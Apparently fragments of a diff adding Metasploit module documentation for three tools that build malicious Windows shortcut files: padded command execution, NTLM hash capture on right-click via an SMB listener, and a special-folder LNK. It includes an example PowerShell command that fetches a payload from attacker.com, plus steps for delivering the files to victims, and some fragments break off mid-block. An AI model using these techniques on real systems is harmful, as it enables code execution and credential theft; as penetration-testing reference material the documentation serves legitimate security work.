+
+## Verification Steps
+
+1. Start msfconsole.
+1. Load the module: `use auxiliary/fileformat/windows_lnk_padding`.
+1. Optionally customize FILENAME, DESCRIPTION, ICON_PATH, or BUFFER_SIZE.
+1. Execute the module: `run`.
+1. A malicious LNK file will be generated.
+1. Deliver the LNK file to the target Windows system.
+1. Open the LNK file to trigger command execution (e.g., launching calc.exe).
+
+## Options
+
+
+### COMMAND
+
+The command to execute when the LNK is opened.
+
+Default: `C:\\Windows\\System32\\calc.exe`
+
+Example:
+```
+set COMMAND powershell.exe -c "Invoke-WebRequest -Uri http://attacker.com/payload"
+```
+
+### DESCRIPTION
+
+Optional description for the LNK file. If not set, a random sentence is generated.
+
+Example:
+```
+set DESCRIPTION Important Document
+```
+
+### ICON_PATH
+
+Optional path to an icon for the LNK file. If not set, a random system icon path is generated.
+
+Example:
+```
+set ICON_PATH %SystemRoot%\\System32\\shell32.dll
+```
+
+### BUFFER_SIZE
+
+The size of the whitespace padding buffer before the command (must be sufficient to avoid truncation).
+
+Default: 900
+
+Example:
+```
+set BUFFER_SIZE 1000
+```
+
+## Scenarios
+
+### Basic Command Execution on Windows
+
+Target: Any Windows system (e.g., Windows 10 or later).
+
+Generate an LNK that launches Calculator with custom padding:
+
+```
+msf > use auxiliary/fileformat/windows_lnk_padding
+msf auxiliary(fileformat/windows_lnk_padding) > set FILENAME calc.lnk
+FILENAME => calc.lnk
+msf auxiliary(fileformat/windows_lnk_padding) > set COMMAND C:\\Windows\\System32\\calc.exe
+COMMAND => C:\\Windows\\System32\\calc.exe
+msf auxiliary(fileformat/windows_lnk_padding) > set BUFFER_SIZE 900
+BUFFER_SIZE => 900
+msf auxiliary(fileformat/windows_lnk_padding) > set DESCRIPTION Calculator Shortcut
+DESCRIPTION => Calculator Shortcut
+msf auxiliary(fileformat/windows_lnk_padding) > set ICON_PATH %SystemRoot%\\System32\\calc.exe
+ICON_PATH => %SystemRoot%\\System32\\calc.exe
+msf auxiliary(fileformat/windows_lnk_padding) > run
+
+[*] Generating LNK file: calc.lnk
+[+] Successfully created calc.lnk
+[*] Command line buffer size: 900 bytes
+[*] Target command: C:\\Windows\\System32\\calc.exe
+[*] Auxiliary module execution completed
+```

+## Verification Steps
+
+1. Start msfconsole.
+1. Load the module: `use auxiliary/fileformat/right_click_lnk_leak`.
+1. Optionally customize FILENAME, DESCRIPTION, ICON_PATH, or PADDING_SIZE.
+1. Execute the module: `run`.
+1. A malicious LNK file is generated.
+1. Set up an SMB capture listener (e.g., `auxiliary/server/capture/smb`).
+1. Deliver the LNK file to the target system.
+1. Right-click the LNK file in Explorer to trigger the SMB connection.
+1. Monitor the listener for captured NTLM hashes.
+
+## Options
+
+### DESCRIPTION
+
+The description for the shortcut.
+
+Default: `Testing Purposes`
+
+Example:
+```
+set DESCRIPTION Important File
+```
+
+### ICON_PATH
+
+The path to an icon for the LNK file.
+
+Default: `e.g. abc.ico`
+
+Example:
+```
+set ICON_PATH %SystemRoot%\\System32\\shell32.dll
+```
+
+### PADDING_SIZE
+
+Size of padding in the command arguments.
+
+Default: 10
+
+Example:
+```
+set PADDING_SIZE 20
+```
+
+## Scenarios
+
+### NTLM Hash Capture on Right-Click
+
+Target: Windows system with Explorer (e.g., Windows 10 or later).
+
+Generate the LNK file:
+

+DESCRIPTION => Fake Document

+
+[*] Creating 'context.lnk' file...
+[+] LNK file created: context.lnk
+[*] Set up a listener (e.g., auxiliary/server/capture/smb) to capture the authentication
+[*] Auxiliary module execution completed

+msf auxiliary(server/capture/smb) > set SRVHOST 192.168.1.25
+SRVHOST => 192.168.1.25
+msf auxiliary(server/capture/smb) > run
+[*] Server started.
+```
+
+Deliver `context.lnk` to the target. When the victim right-clicks it, an SMB connection is attempted:

+```

+## Verification Steps
+
+1. Start msfconsole.
+2. Load the module: `use auxiliary/fileformat/specialfolderdatablock_lnk`.
+3. Customize options as needed (e.g., set FILENAME or APPNAME).
+4. Execute the module: `run`.
+5. A malicious LNK file will be generated.
+6. If not using a custom UNCPATH, the module starts an SMB capture server automatically.

+
+### APPNAME
+
+Sets the display name of the application in the LNK file. If empty, a random name is generated.
